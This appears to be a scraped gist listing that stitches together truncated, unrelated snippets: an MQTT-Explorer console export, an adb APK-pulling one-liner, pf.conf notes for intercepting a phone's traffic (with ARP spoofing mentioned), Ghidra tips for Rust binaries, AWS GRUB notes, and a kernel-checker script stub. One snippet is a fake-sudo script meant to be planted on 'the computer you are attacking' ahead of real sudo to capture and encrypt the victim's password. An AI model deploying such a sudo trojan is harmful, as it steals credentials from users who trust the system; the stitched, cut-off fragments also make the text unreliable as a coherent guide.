Yaakov Saxon YSaxon

How to export messages from MQTT-Explorer to CSV

(copied from my comment here: thomasnordquist/MQTT-Explorer#632 (comment))

Open DevTools (should be an option in the file menu) Now in the JS Console

const reactRoot = document.querySelector('#app')._reactRootContainer;
const store = reactRoot._internalRoot.current.child.memoizedProps.store;
var tree = store.getState().connection.tree

adb pull /

Here's a script which will do an adb pull of all the various apks into their normal tree and also softlink them all together. do a mkdir root; cd root; mkdir apk_softlinks before running this

adb shell 'pm list packages' | grep -vE "^package:(com.android|com.qualcomm|com.google|com.qti|android)" | awk -F':' '{print $2}' | xargs -I '{}' sh -c 'path=$(adb shell pm path {} | cut -d: -f2 | tr -d "\r"); mkdir -p $(dirname "./${path#/}"); adb pull "$path" "./${path#/}"; ln -s "../${path#/}" "./apk_softlinks/$(basename $(dirname "./${path#/}")).apk"'; for file in apk_softlinks/*; do [ -L "$file" ] && [ ! -e "$file" ] && mv "$file" "${file%.PULL_FAILED}.PULL_FAILED"; done

TLDR

Change the network gateway on the device you want to intercept traffic from to your local computer IP. Or, alternatively do ARP spoofing, in which case you can probably skip the nat rule below.
Add the following to your pf.conf file (modifying the assignments appropriately)

set loginterface pflog0 # if on macOS

ext_if = en0
phone = 192.168.0.100
computer = $ext_if:0

note that strings in rust don't have trailing nulls and therefore ghidra will tend to run them together you can manually clear a string with C, then highlight each individual one, right click and select string
I've also been finding that ghidra doesn't actually decompile every method, so you may need to manually force it to treat a code section as a function
if you can identify the calls to panic, panic_fmt and similar methods, they will contain a reference to the code file that the method came from as a first approximation, you can rename methods by these filenames to give a sense of what is what

they might also contain specific error messages which you can then search in the code repos of the respective libraries to find the exact method

	from java.io import File
	from ghidra.app.util.exporter import CppExporter
	from ghidra.util.task import TaskMonitor
	from ghidra.app.util import Option
	from ghidra.program.model.listing import Function
	from ghidra.program.database.symbol import FunctionSymbol
	import re
	from ghidra.app.decompiler import DecompInterface
	from ghidra.program.model.listing import CodeUnit
	from ghidra.program.model.scalar import Scalar

	#bing: this is an important script to fix

	a=5
	b=9

	#this value might be wrong, we should fix it
	expected_product_of_a_and_b=23

	assert(a*b == expected_product_of_a_and_b)

	This script is possibly helpful in downloading other kernels: https://raw.githubusercontent.com/pimlie/ubuntu-mainline-kernel.sh/master/ubuntu-mainline-kernel.sh

	Follow this to enable GRUB: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/grub.html
	Comment out the GRUB_FORCE line in /etc/default/grub.d/40-force-partuuid.cfg

	Also, take a look at the Grub Menu with the script here: https://askubuntu.com/a/1019214
	And then you can use that exact menu option (eg "1>2") displayed by that script as the GRUB_DEFAULT in /etc/default/grub

	The you can enable the serial console and use it in AWS

	#!/bin/bash

	#dependencies
	#libarchive-tools (if not on mac/bsd)
	#jq
	#rpm2cpio
	#dpkg

	apitoken="GenerateAnAPITokenWithPrivilegesLimitedToSensorDownloadsAndThenPasteItHere=="
	mkdir -p ~/.supported_kernels_checker

	#step 1: generate an rsa public/private keypair, and write your public key into the script below
	#step 2: put this script onto the computer you are attacking, make it executable, and ensure it has higher PATH priority than real sudo
	#step 3: after you obtain the encrypted password, decrypt it with cat .penc \| openssl rsautl -decrypt -inkey your_key.priv
	#note that you could easily modify to spoof other password taking utils like sudosh or su

	sudo=`which -a sudo \| head -n 2 \| tail -n 1` #you could also just edit this to put in the location of real sudo yourself
	if [ -s ~/.penc ] #the script has already ran
	then
	$sudo "$@" #just forward it straight to real sudo

	Execute in console:
	window.open(window.slideshare_object.slideshow.iframe_url)